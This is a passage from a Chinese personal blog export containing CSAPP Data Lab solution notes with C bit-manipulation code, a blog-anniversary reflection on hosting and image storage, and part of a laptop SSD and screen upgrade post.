\u0026lt;\u0026lt;(32 + ~n); // 32+~n=31-n, to get the top mask int lowerMask = (0x1 \u0026lt;\u0026lt; (32 + ~n)) + ~0; return (x\u0026gt;\u0026gt; n) \u0026amp; (topMask | lowerMask); } 对 $x$ 向右进行 逻辑 移位 $n$ 位。移位运算符采用的算术移位，在右移时补充的值与符号位相同，而算术移位一律补0。\n像上题一样，我们可以算术移 $n$ 位，然后使用一个掩码来让补上的部分强制置0。这里参考了 参考资料 1 的做法，简略来说就是为了避免未定义的行为，分别构建了高位和低位的掩码。具体的可以直接看原文。\n很多题目中是不允许我们使用减法的，我们可以使用取反加一的办法直接得到补码，如上面代码中 $31-n=32+~n$。这个方法在下面也经常用到。\n4. bitCount cpp 复制代码 int bitCount(int x) { int mask = (0x55) | ((0x55) \u0026lt;\u0026lt;8); // 0x00005555 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x55555555 x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 1 \u0026amp; mask); // 2-bit sum mask = (0x33) | ((0x33) \u0026lt;\u0026lt;8); // 0x00003333 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x33333333 x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 2 \u0026amp; mask); // 4-bit sum mask = (0x0f) | (0x0f \u0026lt;\u0026lt; 8); // 0x00000f0f mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x0f0f0f0f x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 4 \u0026amp; mask); // 8-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 16); // 0x00ff00ff x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 8 \u0026amp; mask); // 16-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 8); // 0x0000ffff x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 16 \u0026amp; mask); // 32-bit sum return x; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int bitCount(int x) { int mask = (0x55) | ((0x55) \u0026lt;\u0026lt;8); // 0x00005555 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x55555555 x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 1 \u0026amp; mask); // 2-bit sum mask = (0x33) | ((0x33) \u0026lt;\u0026lt;8); // 0x00003333 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x33333333 x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 2 \u0026amp; mask); // 4-bit sum mask = (0x0f) | (0x0f \u0026lt;\u0026lt; 8); // 0x00000f0f mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x0f0f0f0f x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 4 \u0026amp; mask); // 8-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 16); // 0x00ff00ff x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 8 \u0026amp; mask); // 16-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 8); // 0x0000ffff x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 16 \u0026amp; mask); // 32-bit sum return x; } 统计 $x$ 所有二进制位中 $1$ 的数目。\n首先想到的是 参考资料 2 中”2.2统计true的数目“部分的解法，总体的思想是二分法，通过不断合并相邻两个分区的1数量，得到整体1的数量。与上面的代码不同，它直接将五个掩码写进了程序。\ncpp 复制代码 int popcount(unsigned int x) { x=(x\u0026amp;0x55555555)\u0026#43;(x\u0026gt;\u0026gt;1\u0026amp;0x55555555); x=(x\u0026amp;0x33333333)\u0026#43;(x\u0026gt;\u0026gt;2\u0026amp;0x33333333); x=(x\u0026amp;0x0F0F0F0F)\u0026#43;(x\u0026gt;\u0026gt;4\u0026amp;0x0F0F0F0F); x=(x\u0026amp;0x00FF00FF)\u0026#43;(x\u0026gt;\u0026gt;8\u0026amp;0x00FF00FF); x=(x\u0026amp;0x0000FFFF)\u0026#43;(x\u0026gt;\u0026gt;16\u0026amp;0x0000FFFF); return x; } 1 2 3 4 5 6 7 8 9 int popcount(unsigned int x) { x=(x\u0026amp;0x55555555)+(x\u0026gt;\u0026gt;1\u0026amp;0x55555555); x=(x\u0026amp;0x33333333)+(x\u0026gt;\u0026gt;2\u0026amp;0x33333333); x=(x\u0026amp;0x0F0F0F0F)+(x\u0026gt;\u0026gt;4\u0026amp;0x0F0F0F0F); x=(x\u0026amp;0x00FF00FF)+(x\u0026gt;\u0026gt;8\u0026amp;0x00FF00FF); x=(x\u0026amp;0x0000FFFF)+(x\u0026gt;\u0026gt;16\u0026amp;0x0000FFFF); return x; } 将 0x55555555 转化为二进制，可以很容易得出它作为掩码的作用是只留下一个数中偶数位的部分（从0开始），其他置0，而函数中第一个语句的作用，就是将奇数位移到右边的偶数位上相加，并得出结果。第 $n$ 位的值也可以看作第 $n$ 位这个区间有多少个1，合并后。就是两位加起来有多少个1。\n然后，第二行的作用是将第0-1位的1个数与第2-3位合并，以此类推，得到0-3位、4-7位，然后在第三行再进行合并…… 最后，将0-15位和16-31位合并，就是整个整型数的1个数。\n配合下面的图可能能够更好地理解：\n图源参考资料2，侵删\n但是如果你想在datalab中这么填，是通不过测试的，因为十六进制常数的范围是 $0x00$~$0xff$，也就是说如此大的掩码是无法直接使用的。所以，我们需要自行从两位16进制数构造8位16进制数。拿第一个 mask 举例：\ncpp 复制代码 int mask = (0x55) | ((0x55) \u0026lt;\u0026lt;8); // 0x00005555 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x55555555 1 2 int mask = (0x55) | ((0x55) \u0026lt;\u0026lt;8); // 0x00005555 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x55555555 2位16进制能充当8位二进制。先通过按位与和左移8位（二进制）的操作，生成低4位十六进制，然后再通过左移和按位与的操作，将其复制到高4位一份。这样，掩码就构建好了。如将其压缩到一句中，分别给予左移24、16、8、0位，则运算符数量会超过限制。\n5. bang cpp 复制代码 int bang(int x) { x = (x\u0026gt;\u0026gt; 16) | x; x = (x\u0026gt;\u0026gt; 8) | x; x = (x\u0026gt;\u0026gt; 4) | x; x = (x\u0026gt;\u0026gt; 2) | x; x = (x\u0026gt;\u0026gt; 1) | x; return ~x \u0026amp; 0x1; } 1 2 3 4 5 6 7 8 9 int bang(int x) { x = (x\u0026gt;\u0026gt; 16) | x; x = (x\u0026gt;\u0026gt; 8) | x; x = (x\u0026gt;\u0026gt; 4) | x; x = (x\u0026gt;\u0026gt; 2) | x; x = (x\u0026gt;\u0026gt; 1) | x; return ~x \u0026amp; 0x1; } 在不使用 $!$ 的情况下计算非 $x$。\n非运算表现为，如果 $x$ 不为0，则结果为1，否则结果为0。也就是说，只要有任何一个二进制位为1，取非得到的结果就是0，那么我们就可以将 $x$ 的所有位 “压缩 “到第0位。如果 $x$ 中含有1，那么第0位就会是1。\n最后一个语句是将 $x$ 按位取反，然后只留最后一位。这样返回的就是取非的结果了。\n6. tmin cpp 复制代码 int tmin(void) { return 1 \u0026lt;\u0026lt; 31; } 1 2 3 4 int tmin(void) { return 1 \u0026lt;\u0026lt; 31; } 返回补码的最小值。\nint型能表示的最大正数是 $2^{31}-1$，而 $2^{31}$ 可以故意让其上溢出，就可以得到补码的最小值了。\n7. fitsBits cpp 复制代码 int fitsBits(int x, int n) { int moveBits = 33 \u0026#43; ~n; // Equals to 32-n int result = (x \u0026lt;\u0026lt; moveBits) \u0026gt;\u0026gt; moveBits; // Left move, and then right move return !(x ^ result); // If okay, result should be equal to x } 1 2 3 4 5 6 int fitsBits(int x, int n) { int moveBits = 33 + ~n; // Equals to 32-n int result = (x \u0026lt;\u0026lt; moveBits) \u0026gt;\u0026gt; moveBits; // Left move, and then right move return !(x ^ result); // If okay, result should be equal to x } 如果 $x$ 能够用 $n$ 位补码表示，返回1。\n如果你使用新版本Linux，可能会导致无法通过btest测试，换别人的正解代码也一样。如果遇到此问题，请使用老版本，实测Ubuntu 12.04 LTS（Linux 3.10）可用。 此处的不同可能与下面的汇编代码不同有关：\n既然题目想知道 $x$ 能否用 $n$ 位补码表示，那么就创造一个 $n$ 位补码的环境。具体地来讲，就是向左移，直到从第31位到原数最低位就是 $n$ 位。\n如果这个数并不能用 $n$ 位补码表示，那么原数字的高位就会被 “挤掉”，而这样的数再右移，无法再恢复被挤掉的数字。如果能如此表示，那么这个数本身并不会受到任何损失；算术右移同样位数之后，就可以恢复原来的状态。\n最后再将其与原数异或取反，就可以得到结果。\n8. divpwr2 cpp 复制代码 int divpwr2(int x, int n) { int bias = (x\u0026gt;\u0026gt; 31) \u0026amp; ((1 \u0026lt;\u0026lt; n) \u0026#43; ~0); return (x \u0026#43; bias) \u0026gt;\u0026gt; n; } 1 2 3 4 5 int divpwr2(int x, int n) { int bias = (x\u0026gt;\u0026gt; 31) \u0026amp; ((1 \u0026lt;\u0026lt; n) + ~0); return (x + bias) \u0026gt;\u0026gt; n; } 返回 $x/2^n$，向零舍入。\n右移运算会向下舍入，而题目要求负数向上舍入。CSAPP书中的解决方法是为负数添加一个bias（偏置）值 $2^k-1$，这样右移的时候就可以向上舍入了。x\u0026gt;\u0026gt;31 正是为了判断正负，提取了符号位。\n9. negate cpp 复制代码 int negate(int x) { return ~x \u0026#43; 1; } 1 2 3 4 int negate(int x) { return ~x + 1; } 返回 $-x$。\n计算补码，取反加一。\n10. isPositive cpp 复制代码 int isPositive(int x) { return !(!(x)) \u0026amp; !((x\u0026gt;\u0026gt; 31) \u0026amp; 1); } 1 2 3 4 int isPositive(int x) { return !(!(x)) \u0026amp; !((x\u0026gt;\u0026gt; 31) \u0026amp; 1); } 如果 $x$ 是一个正数，返回1。\n正数的符号位是0，但符号位是0的也可能是0。内部先判断” 是否 $x \\le 0$“，然后取非，就得到了是否为正数。\n11. isLessOrEqual cpp 复制代码 int isLessOrEqual(int x, int y) { int val = ((x \u0026#43; ~y) \u0026gt;\u0026gt; 31) \u0026amp; 1; x = x \u0026gt;\u0026gt; 31; y = y \u0026gt;\u0026gt; 31; return ((x \u0026amp; 1) | !y) \u0026amp; (((x \u0026amp; 1) \u0026amp; !y) | (val)); } 1 2 3 4 5 6 7 int isLessOrEqual(int x, int y) { int val = ((x + ~y) \u0026gt;\u0026gt; 31) \u0026amp; 1; x = x \u0026gt;\u0026gt; 31; y = y \u0026gt;\u0026gt; 31; return ((x \u0026amp; 1) | !y) \u0026amp; (((x \u0026amp; 1) \u0026amp; !y) | (val)); } val取的是 $x-y-1$ 的符号位，如果 $x\u0026gt;y$ 才会为0（因为整型，$x \\ge y+1$），否则为1。1是掩码，防止为负时右移补出来一堆不需要的1。\n然后是取x和y的符号位，掩不掩都行。\n最后还要判断溢出的情况，如果 $x\u0026lt;0,\\ y\u0026gt;0$ 则直接返回1。\n12. ilog2 cpp 复制代码 int ilog2(int x) { int mask; x = (x\u0026gt;\u0026gt; 1) | x; x = (x\u0026gt;\u0026gt; 2) | x; x = (x\u0026gt;\u0026gt; 4) | x; x = (x\u0026gt;\u0026gt; 8) | x; x = (x\u0026gt;\u0026gt; 16) | x; mask = (0x55) | ((0x55) \u0026lt;\u0026lt;8); // 0x00005555 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x55555555 x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 1 \u0026amp; mask); // 2-bit sum mask = (0x33) | ((0x33) \u0026lt;\u0026lt;8); // 0x00003333 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x33333333 x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 2 \u0026amp; mask); // 4-bit sum mask = (0x0f) | (0x0f \u0026lt;\u0026lt; 8); // 0x00000f0f mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x0f0f0f0f x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 4 \u0026amp; mask); // 8-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 16); // 0x00ff00ff x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 8 \u0026amp; mask); // 16-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 8); // 0x0000ffff x = (x \u0026amp; mask) \u0026#43; (x\u0026gt;\u0026gt; 16 \u0026amp; mask); // 32-bit sum return x \u0026#43; ~0; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int ilog2(int x) { int mask; x = (x\u0026gt;\u0026gt; 1) | x; x = (x\u0026gt;\u0026gt; 2) | x; x = (x\u0026gt;\u0026gt; 4) | x; x = (x\u0026gt;\u0026gt; 8) | x; x = (x\u0026gt;\u0026gt; 16) | x; mask = (0x55) | ((0x55) \u0026lt;\u0026lt;8); // 0x00005555 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x55555555 x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 1 \u0026amp; mask); // 2-bit sum mask = (0x33) | ((0x33) \u0026lt;\u0026lt;8); // 0x00003333 mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x33333333 x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 2 \u0026amp; mask); // 4-bit sum mask = (0x0f) | (0x0f \u0026lt;\u0026lt; 8); // 0x00000f0f mask = mask | (mask \u0026lt;\u0026lt; 16); // 0x0f0f0f0f x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 4 \u0026amp; mask); // 8-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 16); // 0x00ff00ff x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 8 \u0026amp; mask); // 16-bit sum mask = (0xff) | (0xff \u0026lt;\u0026lt; 8); // 0x0000ffff x = (x \u0026amp; mask) + (x\u0026gt;\u0026gt; 16 \u0026amp; mask); // 32-bit sum return x + ~0; } 求 $log_2x$ 向下取整的值。\n借鉴了 参考资料 3 的做法，思路更加清晰，容易理解。首先我们知道，一个数以二进制表示，最高1位所对应的2的次方，就是 $log_2x$ 向下取整的值。举个例子来说，$(45)_{10}=(101101)_2=(1 \\times 2^5+0 \\times 2^4+1 \\times 2^3+1 \\times 2^2+0 \\times 2^1+1 \\times 2^0)_{10}$，那么就有 $log_2 45 = log_2 32 + log_2 \\frac{45}{32}=5+x$，其中x肯定是一个小于1的数。那么，一个可行的思路就是找到最高位的1是第几位减一，但直接逐位右移再判断并不是可行的方法，因为较低位也可能为0，可能统计不到真正的最高位就以为是最高位了。所以，我们先把非最高位全都设成1，然后再统计1的个数即可。\n先是类似于第5题 “Bang”的做法，将高位 “折” 下来。与第五题不同，这里移动的位数从低到高，因为先移16位的话，并不能保证高16位中能够正确地设1；相反的，第5题使用这种顺序则是可以的。\n然后是第4题 “bitCount” 的做法，统计有多少个1，就可以得知最高位的1是第几位（从1开始计）。不过，由于第1位代表 $2^0$，最后还要将结果减一。\n以下三道题全都是浮点数的题了。虽然参数看似并不是浮点数类型，但是二进制表示上，仍然是一个浮点数。某种程度上，这也是在鼓励学习者用二进制的方式思考问题。这三道题相比之前的限制条件更少，比如运算符都可以用了，还可以使用条件和循环控制语句。\n13. float_neg cpp 复制代码 unsigned float_neg(unsigned uf) { int c = 0x00ffffff; if ((~(uf \u0026lt;\u0026lt; 1)) \u0026lt;c) { return uf; } else { return uf ^ (0x80000000); } } 1 2 3 4 5 6 7 8 9 10 11 12 unsigned float_neg(unsigned uf) { int c = 0x00ffffff; if ((~(uf \u0026lt;\u0026lt; 1)) \u0026lt;c) { return uf; } else { return uf ^ (0x80000000); } } 本题要求返回参数的相反数。如果参数是INF，则返回参数本身。\n难度主要在判断INF上。INF的特征是指数域全为1，尾数域不全为0。一个可行的思路是通过比较指数域和尾数域的大小来区分是否为INF，但符号位会干扰比较，虽然理论上可以使用四个端点值分别比较大小得出结论，但未免有点不优雅。所以，这里向左移一位把符号位去掉，取反，然后和c比较大小。现在，前8位是取反的指数域，后23位是取反的尾数域，最后一位是左移补上的0。如果它是NaN，则此时前4位必然是0，后24位必然小于 0xffffff（或者 0xfffffe）。这样，只需要一次比较就可以搞定，非常优雅（确信）。\n否则，就将最高位也就是符号位与1异或，就相当于取反了。\n14. float_i2f cpp 复制代码 unsigned float_i2f(int x) { int sign, exp = 0, frac = 0, i = 0; if (x == 0) // Two special situations, cannot be calculated normally { return 0; } if (x == 0x80000000) { return 0xcf000000; } sign = (x\u0026gt;\u0026gt; 31) \u0026amp; 1; // Get the sign bit \u0026amp; abs(x) if (sign) { x = -x; } i = 30; // Not 31 coz the top bit is always 0 while (!(x\u0026gt;\u0026gt; i)) { i--; } exp = i \u0026#43; 127; // Get the exponent. i is the E, unbiased x = x \u0026lt;\u0026lt;(31 - i); // Left shift to clean zeroes, right shift to fit 23 bits... frac = (x\u0026gt;\u0026gt; 8) \u0026amp; 0x7fffff; // ...to get the fraction x = x \u0026amp; 0xff; frac \u0026#43;= (x\u0026gt; 0x80) || ((x == 0x80) \u0026amp;\u0026amp; (frac \u0026amp; 0x01)); // Round up if fraction is greater than 0.5 if (frac\u0026gt;\u0026gt; 23) { exp\u0026#43;\u0026#43;; frac = frac \u0026amp; 0x7fffff; } return (sign \u0026lt;\u0026lt; 31) | (exp \u0026lt;\u0026lt; 23) | frac; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned float_i2f(int x) { int sign, exp = 0, frac = 0, i = 0; if (x == 0) // Two special situations, cannot be calculated normally { return 0; } if (x == 0x80000000) { return 0xcf000000; } sign = (x\u0026gt;\u0026gt; 31) \u0026amp; 1; // Get the sign bit \u0026amp; abs(x) if (sign) { x = -x; } i = 30; // Not 31 coz the top bit is always 0 while (!(x\u0026gt;\u0026gt; i)) { i--; } exp = i + 127; // Get the exponent. i is the E, unbiased x = x \u0026lt;\u0026lt;(31 - i); // Left shift to clean zeroes, right shift to fit 23 bits... frac = (x\u0026gt;\u0026gt; 8) \u0026amp; 0x7fffff; // ...to get the fraction x = x \u0026amp; 0xff; frac += (x\u0026gt; 0x80) || ((x == 0x80) \u0026amp;\u0026amp; (frac \u0026amp; 0x01)); // Round up if fraction is greater than 0.5 if (frac\u0026gt;\u0026gt; 23) { exp++; frac = frac \u0026amp; 0x7fffff; } return (sign \u0026lt;\u0026lt; 31) | (exp \u0026lt;\u0026lt; 23) | frac; } 将一个整形转化为浮点数格式。\n建议直接看 参考资料 4。\n15. float_twice cpp 复制代码 unsigned float_twice(unsigned uf) { int uf_nosign; int sign = uf \u0026amp; 0x80000000; // sign bit int exp = uf \u0026amp; 0x7f800000; // exponent bits int fraction = uf \u0026amp; 0x7fffff; // fraction bits uf_nosign = uf \u0026amp; 0x7fffffff; // remove sign if ((uf_nosign\u0026gt;\u0026gt; 23) == 0x0) // denormalized condition { uf_nosign = uf_nosign \u0026lt;\u0026lt; 1 | sign; return uf_nosign; } if ((uf_nosign\u0026gt;\u0026gt; 23) == 0xff) // special numbers (NaN and infty) { return uf; } // if ((exp\u0026gt;\u0026gt; 23) \u0026#43; 1 == 0xff) if (exp == 0x7f000000) // exponent overflow { return sign | 0x7f800000; } // return sign | (((exp\u0026gt;\u0026gt; 23) \u0026#43; 1) \u0026lt;\u0026lt;23) | fraction; return sign | (exp \u0026#43; 0x800000) | fraction; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned float_twice(unsigned uf) { int uf_nosign; int sign = uf \u0026amp; 0x80000000; // sign bit int exp = uf \u0026amp; 0x7f800000; // exponent bits int fraction = uf \u0026amp; 0x7fffff; // fraction bits uf_nosign = uf \u0026amp; 0x7fffffff; // remove sign if ((uf_nosign\u0026gt;\u0026gt; 23) == 0x0) // denormalized condition { uf_nosign = uf_nosign \u0026lt;\u0026lt; 1 | sign; return uf_nosign; } if ((uf_nosign\u0026gt;\u0026gt; 23) == 0xff) // special numbers (NaN and infty) { return uf; } // if ((exp\u0026gt;\u0026gt; 23) + 1 == 0xff) if (exp == 0x7f000000) // exponent overflow { return sign | 0x7f800000; } // return sign | (((exp\u0026gt;\u0026gt; 23) + 1) \u0026lt;\u0026lt;23) | fraction; return sign | (exp + 0x800000) | fraction; } 要求将浮点数uf乘2。如果为NaN，返回原参数。\n使用了 参考资料 1 的做法，进行了一定的优化。首先，使用不同的掩码将符号、指数域和尾数域分别取出来。然后单独算出没有符号位的 $uf$，存到uf_nosign中。\n第一个 if 语句判断的是指数域全为0的情况（需要右移23位，因为去掉尾数域之后仍然用0占位），也就是非规格化值。此时只需要将去掉符号位的uf左移一位，然后加上符号位（按位与），就可以得到想要的数。因为指数域全为0，所以即使尾数域左移导致溢出，也会表现为指数域 + 1而无其他危险后果，而这恰是我们想要的结果。\n第二个 if 语句判断的是特殊值的情况。如果是NaN，直接返回uf肯定没问题，正如题目所说；如果是无限大，那么它的两倍还是无限，还是应该返回原数。\n规格化的话，大体思路就是将指数域 + 1。第三个 if 语句判断的是指数域溢出的情况。因为单精度指数域只有8位，所以如果指数域 + 1已经是 $0xff$ 了，就不再表示一个正常的数了（变成特殊值）。\n最后，排除了所有特殊情况，就是正常的规格化值，将阶码 + 1，拼上符号位和尾数就可以了。\n有一些运算上的简化，通过预先的运算可以节省运算符的使用量，和上方被注释掉的语句是等效的，如果不能理解，可以看被注释的语句。\n","date":"March 17, 2022","matchCount":0,"permalink":"/post/csapp-datalab/","preview":"","title":"CSAPP 2e Data Lab 笔记"},{"content":"不知不觉，这个博客运行已经满一年了，那就随便聊聊关于这个站的一点事情吧。\n因何而来？ 当初建立这个网站的原因其实很简单。想写点东西，但CSDN杂乱无章的页面着实让我看不下去，微信公众号玩私域流量太流氓，简书当时还在强奸剪贴板，Medium和Blogger之类网站似乎不太适合我国用户。似乎博客园算是这些网站中比较好的了？确实，如果我推荐新人入坑，我可能会首先推荐博客园，换个主题美滋滋。\n但是为了对自己的内容有更好的掌控，我还是选择了自建一个WordPress，得到自己的域名，自己的服务器…… 很多东西都要自己干。自建博客的技术路线也有很多，比如Hugo、Hexo和WordPress，不过我选择WordPress的理由，只是Vultr的镜像列表里只有WordPress，能够开箱即用（笑）。当时整这些东西确实受到了很多技术上的阻碍，也吃掉了我大把的空闲时间，但现在想想看，其实挺能锻炼人的，起码我对网站运行的整个流程有了初步的了解。如果我选择了现成的博客网站，或者其他没有WordPress这么臃肿繁杂的CMS，我大概也就多多少少失去了实践中学习的宝贵机会。\n网站有了，写点什么？ 我给它的定位，首先是一个技术博客，摆弄一些我能掌握的雕虫小技。对于这一部分，就不得不提到 HNU 校园网 IPv6 免流教程 了——当初只是由于对学校校园网计费制度的担忧而写下了这篇文章，真的没想到能够有这么多人有同样的需求，能够有这么多人交流这件事。据后台统计，这篇文章每天都能有好几个访问量，算是一个持久的访问量来源；但对于每一个希望这样绕过计费系统的同学来说，我其实会劝他们办性价比更高的运营商宽带。\n还有一些日常作业 / 实验的思路记录，我会从中挑选出来一些有意思的部分，写写教程之类的东西。这就比如 数电课程模型机设计：模型机整合，数电这个模型机就是既有意思又富有挑战性，这也让我在做它的时候是带着一种热情的，恰好网上只有学长学姐留下的VHDL资料，并没有Verilog版本的资料，于是就写下了这篇文章。但我现在还是在遗憾，为什么没有赶在验收之前完成那篇文章，导致很多人看到的还都是半成品……\n我是个数码产品爱好者，所以也会写一些数码产品的开箱评测之类的，但其实这种文章没有太多，主要是没买太多东西，也没时间写长文评测。聊一聊我对拯救者 R7000 2020 做的硬件升级 可能是我整篇博客” 最数码 “的文章了吧。\n此外，还会有一些其他内容，比如让我很满意的 极限竞速 地平线 4：十分完善，但不完美 和让我差点喊出RNM退钱的极限竞速 地平线 5：仅用三击，信心全无，对咖喱味程序员无语的Windows 11 bug 大赏，好久没更新的我的 GitHub Stars……\n然后呢，折腾了点啥？ 其实折腾了挺多东西的，但总不能全在这里讲出来，具体的可以翻一翻 更新日志。很大一部分折腾都是对网站速度的优化，其中有几个点我觉得是可以拎出来说说的。\n图片一直是流量的大头，而为了图片加载速度的优化，其实花了不少工夫。一开始的图片简单直接，就存在WordPress的服务器中，而它不光造成了服务器压力增大，而且还因为预生成了多种尺寸的图片，感觉很快就要被塞满。\n之后有了Cloudreve，有了OneDrive的1T空间，就变成了负责Cloudreve的服务器提供直链。不久以后发现效率并没有高。梳理了以下，发现一个很尴尬的情况…… 看图吧。\n问我为什么要搭一个反代？很简单，不反代OneDrive的话，在一些地方OneDrive根本访问不了。这个反代已经搭在Azure上了，离OneDrive服务器够近了，还是慢。\n很快，我发现了AVIF图片格式，基于AV1，相比基于HEVC的HEIF效率更上一个台阶。但它有个硬伤：一半多浏览器不支持，包括用Chromium内核的Edge（但Chromium却支持）。快是快了一点，但我不得不在公告里一直挂着 “本站使用新一代图片格式，……”。\n现在祭出了终极解决方案：类似于Amazon S3的对象存储。它服务器架设在内地，却不用备案，存储价格也不太贵，加载非常快，自带SSL，可选Referer防盗链，就是流量费有点贵，最终在几个提供商中选了阿里云OSS。在一些文章里，你应该能看到图片的加载速度显著提升。但很遗憾的是，由于昂贵的流量费，仍然需要使用高压缩率的图片格式。\njsDelivr CDN寄掉其实对博客的访问有很大的影响，因为它是仅有的中国大陆能访问的GitHub CDN（不知道是不是之一）。这之后，连接国外的jsDelivr节点甚至比直接不用CDN从服务器取用话要慢，而这都是不挂梯子无法接受的速度。好几天之后，终于用上了 Source Global CDN，它也恰好有本主题的JS文件。\n关于未来？ V2EX 的一个帖子 称，中文独立博客每年会有8% 消失掉。\n且不说被archive.org收录就算是消失掉，是否是一个合理的标准（事实上，以这个标准，你现在在阅读的这个网站已经消失了），现在的人们也确实越来越懒得写长文了。\n确实写长文又累又费时间，读者看到的是两三千字的文章，或是精心整理的详细教程，而作者在背后付出的时间通常按天计算。但是我坚信有些事情是寥寥几句讲不清楚的，坚持写博客是我现在在做的事情，也是我大学四年中会坚持做下去的事情。\n同时这里也会在某种程度上作为我的树洞，脑袋里突然冒出个想法，就在这里随便聊聊。\n最后，感谢各位读者的陪伴，have fun reading.\n最后，博客现在已经运行在了香港的腾讯云服务器上，访问速度应该可以接受了。\n最后的最后，请原谅我进数据库把发布时间改成2月20号，假装是一周年整的时候发布的:-)\n","date":"February 20, 2022","matchCount":0,"permalink":"/post/1st-anniversary/","preview":"","title":"一周年，或许该写点什么？"},{"content":"这拯救者R7000虽然有点傻大黑粗，但还是多亏了它优越的可扩展性，让这电脑有了这么大的折腾空间。电脑是购于2020年7月的4800H+1650版本。\n就当是一个新年特别策划了吧，虽然我自己也不知道除了文章是大年初一发出来，别的地方特别在哪了。因为是闲聊，废话就比较多，也就算不上什么正经评测。部分升级仅由当时的情况考虑得到，如果你也有升级需要，请仔细考虑你的需求，请勿盲目抄作业。\n2021/02铠侠RC10 1T固态硬盘 换的理由很简单：512G固态根本无法满足我的需要，几个巨型IDE，几个巨型创意软件，一两个巨型游戏，再加上随随便便就填满的Windows C盘，512G显得十分捉襟见肘。\n对于大量冷数据（指读写相对较少）的存储，我是有一块3.5寸1T HDD的，使用一个硬盘盒通过USB 3.0连接至笔记本。但还是有局限性的，比如噪音、读写速度、便携性和稳定性（经不起晃）之类的方面。\n我对数据盘的需求是什么？首先要够大，1TB为佳，要不然估计不久之后又要换了；速度不需要太快，反正是存数据，不太在乎那点时间；有随便一读写就烫手腕的PM981a为鉴，温度不能太高；质量要有保证，最好是自产颗粒的厂商品牌，保修有保证，还不能是QLC。\n这样的条件筛选下来，入围的主要就是铠侠RC10和西数SN550了。恰好西数取消了个人送保，我便自然而然倒向了铠侠——保修这东西，我可以不用，你不能没有。当时长江存储并没有中端性价比产品，要不然我可能会更偏向 “惩戒” 一下消防做得不太好的某些厂家……\n在铠侠天猫官旗购买，花费699元。后来发现买在了高点上。\n电脑还在保内，自然是不敢私自拆机装，于是去了官方服务站，他们能够为拯救者系列提供免费的加内存 / 硬盘服务，由于是官方提供的，这也不会失去保修。\n用下来倒还可以，顺序读写大概都是1600上下。\n此后，它为我装下了总共200G的极限竞速地平线4和5、好几个虚拟机，还有一堆奇奇怪怪的东西（不是你们想的那样！），直到现在，它还剩下不到200G了。\n2021/10 BOE 4K屏幕 屏幕完整型号是NE156QUM-N6C。\n我痛恨这笔记本的1080p大果粒屏已经很久了，在R9000P 2021等机型吹响2K屏向笔记本普及的号角后尤甚，宿舍里的显示器离得远还好，笔记本内屏字边缘的毛边，那可是越看越气。我能够理解入门级游戏本配备1080p屏幕，毕竟入门级显卡连1080p游戏都不一定带得起来（2077：叫我？）。但要知道，我买来游戏本主要是当作扩展性和性能释放强大的全能本来用的，那个入门级的独显，只是顺便打打游戏，从没追求有什么画质或者帧数。同时，不打电竞类游戏的我也不太追求帧数，大不了眨眼补帧，一帧能玩两帧流畅三帧电竞。看过朋友的2K屏幕轻薄本基本能够克服毛边的问题，那2K 60Hz屏自然而然成为了一个完美符合需求的选择。\n屏库网筛选 可以得到，确实有几款2K屏幕，但全都是2K 165Hz的。可我并不十分想要高刷，于是咬咬牙，又搜了搜4K的。最终综合了屏库网数据和淘宝商家的坑，确定了一块规格非常高的屏幕，也就是来自京东方的NE156QUM-N6C。4K分辨率、600nit亮度、支持HDR400（聊胜于无）、8抖10色深、1500:1对比度、DC调光，这几个参数往这一摆，就能看出这块面板非凡的实力。购买了一块A - 屏，花费519元。\n当时我按照搜索结果，选了一家一堆型号全挂了399元价格的商家，一问才知道是挂羊头卖狗肉，N6C的A - 屏（卖家称有瑕疵），要500块钱（顺丰不包邮），而完美屏则要600块钱。考虑到大部分商家挂的都是这个价格，建议大家购买时做好心理准备，也不排除我被坑了的可能。\n原装屏线是30pin，而新屏幕是40pin eDP接口，所以还需要购买新屏线。所幸，直接搜索 